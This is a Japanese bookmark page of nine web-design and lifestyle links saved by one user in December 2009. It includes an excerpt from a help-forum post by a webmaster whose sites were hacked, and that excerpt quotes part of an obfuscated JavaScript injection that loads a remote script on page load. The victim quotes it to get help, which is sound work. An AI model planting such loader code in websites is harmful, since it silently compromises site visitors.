タグ

2009年12月25日のブックマーク (9件)

  • Adobe Edge: 2009年2月 クロスブラウザからProgressive Enhancementという制作コンセプトへ

    みなさん、「Progressive Enhancement」という制作コンセプトをご存じでしょうか? 「情報やサービスへのアクセシビリティを確保しつつ、ブラウザやデバイスの特徴を活かしたデザインや技術を実装する」という考え方です。日ではあまり馴染みのない考え方ですが、海外では数年前から制作者間で話題となり、確実に浸透しつつあります。昨年、日で開催された世界的に有名なWebカンファレンス「Web Directions East」では、多くのセッションでProgressive Enhancementが取り上げられました。これをきっかけに今後日でも広がっていくと期待されます。記事では、Progressive Enhancementとはどのような制作コンセプトなのか、そしてどのようなメリットがあるのかを解説します。 Progressive EnhancementとGraceful Deg

    ku_marin
    ku_marin 2009/12/25
    メモし忘れ/“「情報やサービスへのアクセシビリティを確保しつつ、ブラウザやデバイスの特徴を活かしたデザインや技術を実装する」という考え方”
  • 960 Grid System

    960 Grid System Download - CSS, sketch paper, and templates for: Acorn, Fireworks, Flash, InDesign, GIMP, Inkscape, Illustrator, OmniGraffle, Photoshop, QuarkXPress, Visio, Exp Design. Repository at GitHub. Essence The 960 Grid System is an effort to streamline web development workflow by providing commonly used dimensions, based on a width of 960 pixels. There are two variants: 12 and 16 columns,

    ku_marin
    ku_marin 2009/12/25
    フレーム幅960pxを基準にして作るグリッドデザイン。CSSフレームワーク、だうんろーどできる
  • CSS 3のMulti Columnによる段組

    今回は、段組み(マルチカラム)のレイアウトを実現するCSS 3の「Multi Column」の機能を紹介したい。これまではFirefoxが対応しているだけだったが、SafariがSafari 3から対応した。また、Google Chromeも対応している。 現在の段組みとMulti Columnによる段組みの違い 現在のウェブページで段組みを実現するには、floatプロパティによる回り込みや、positionプロパティによる位置指定の機能を利用するのが一般的だ。たとえば、次のサンプルではfloatプロパティを利用して2段組みを作成している。

    CSS 3のMulti Columnによる段組
    ku_marin
    ku_marin 2009/12/25
    これ最強すぎる。IEはやく!たのむから!
  • 恋のSEO!/マージントップで歌わせて CD販売特設ページ

    【消費税率10%に対する、弊社商品の対応につきまして】 当商品は税込み価格でご提供しており、増税後も「増税前と同じ据え置き価格」にてご提供させていただいております。 以後の増税に伴う値上げは未定ではございますが、もし購入をご検討されていましたら、お早めにご購入いただければと思います。 恋のSEO!全国カラオケ配信計画遂行中! 皆様からお問い合わせをいただているカラオケでの配信ですが、リクエストの声がまだ足りません! UGAのサイトにはリクエストフォームがあり、そこから多くリクエストされた楽曲が配信されるようになります。皆様の熱いリクエスト、何卒宜しくお願いいたします!! (フォームでは「UGA」と「uga plus」を選択していただければ幸いです) →「UGA カラオケ楽曲のリクエスト」 「着うた」「着うたフル」絶賛配信中! 恋のSEO!の「着うた」「着うたフル」をオリコンサウンドさんで配

    ku_marin
    ku_marin 2009/12/25
    てかなんだこれはwww普通におもしろいけどw
  • 1週間ほどハッキングに悩まされております。 私の管理するサイト数件がいっせいに被害にあっています。…

    1週間ほどハッキングに悩まされております。 私の管理するサイト数件がいっせいに被害にあっています。 WEBサイトに下記のようなコードが埋め込まれるのです(念のため転記は一部)。 <script>/*GNU GPL*/ try{window.onload = function(){var Xi3ref6qv5 = document.createElement('s$^$(c($r)i))^p!^!#t^(!'.replace(/\!|\^|#|@|\)|\(|\$|&/ig, ''));Xi3ref6qv5.setAttribute('type', 'text/javascript');Xi3ref6qv5.setAttribute('src', 'h^$$t$^&t^&$))p$)&:$^)/(^/!^t@i@!s(!(以下略) ネット上で同じような被害が多発している旨見まして、手動でコー

    ku_marin
    ku_marin 2009/12/25
    怖いな…対策しとかないとFTP抜かれたら痛すぎる
  • FastPNG

    Enter your email address and we will send you a link to reset your password

  • [フルカスタマイズヘッドフォン] KOTORI

    各パーツをそれぞれ自由に組み合わせて、 あなたがデザインした、他にはない、 あなただけのヘッドフォンを作ろう。

    [フルカスタマイズヘッドフォン] KOTORI
    ku_marin
    ku_marin 2009/12/25
    節子それヘッドフォンやないイヤホンや… / もしやこれもヘッドフォンっていうの?「ヘッド」フォンじゃない気がするんだけども…/サイト素敵!
  • 人の話の聴き方が上手い人には共通する特徴があって、それは列記するとこのようなこと

    人の話の聴き方が上手い人には共通する特徴があって、それは列記するとこのようなことだと思う。 1.人の話をおもしろがって聞く。 2.なにか広がりそうなところがあると、そこを聞いてみる。 3.相手がなにを話しても、攻撃的にならず、たしなめ方が上手い。 4.自分の話もするのだけど、それはあくまで対比としてする。 5.自分の話をするときは、たいてい、一歩下がった位置でおもしろおかしい失敗譚が多い。 6.相手が話したがりそうなところを見つけるのが上手い。 7.話し手を全肯定する。 8.ちょっとぐらい矛盾があってもつっこまない。 9.相手の話を否定しない。 etc…… これってなんなのだろうと考えると、ホスト・ホステスの話の聴き方に近い。 ひとことで言えば、話し手を主役にするのが上手い人なのだと気付いた。 上司にすごく話の聴き方が上手い人がいたことがあって、課長待遇ぐらいの人だったのだけど、バイトの女

    人の話の聴き方が上手い人には共通する特徴があって、それは列記するとこのようなこと
    ku_marin
    ku_marin 2009/12/25
    ほとんど話し手になるから…聞くのうまくなりたい。話すのも聞くのも両方うまいのがいいのになぁ
  • iPhoneやめました

    この冬、携帯電話を新しく買いました。今まではauのExilimケータイとiPhone 3Gを2台持ちしていたのですが、仕事用と私用を1台にまとめようと思い、メイン回線のiPhone 3Gを解約してNTTドコモへMNP(番号ポータビリティ)することに。 事前にソフトバンクでMNPの予約番号を取っておいてから、ドコモのカウンターへ。ドコモの説明員は「え、iPhone解約するんですか」とちょっと驚いていたようでした。その後私を見る目に「このお姉ちゃん、iPhoneを使いこなせなかったんだろうなあ、きっと」という哀れみが浮かんでいたように見えたのは、私の被害妄想でしょうか……。 左が2009年6月に発売された「iPhone 3GS」。筆者が使っていたのは写真右側の「iPhone 3G」。使い始めたころはiPhone OS 3.0のリリース前で、コピー&ペーストができないなど制限も多かった iPho

    iPhoneやめました
    ku_marin
    ku_marin 2009/12/25
    いやSBじゃなかったら即買い換えるよ。だって2台も携帯持つ意味がないんだもん…本当はiPhoneにしたい!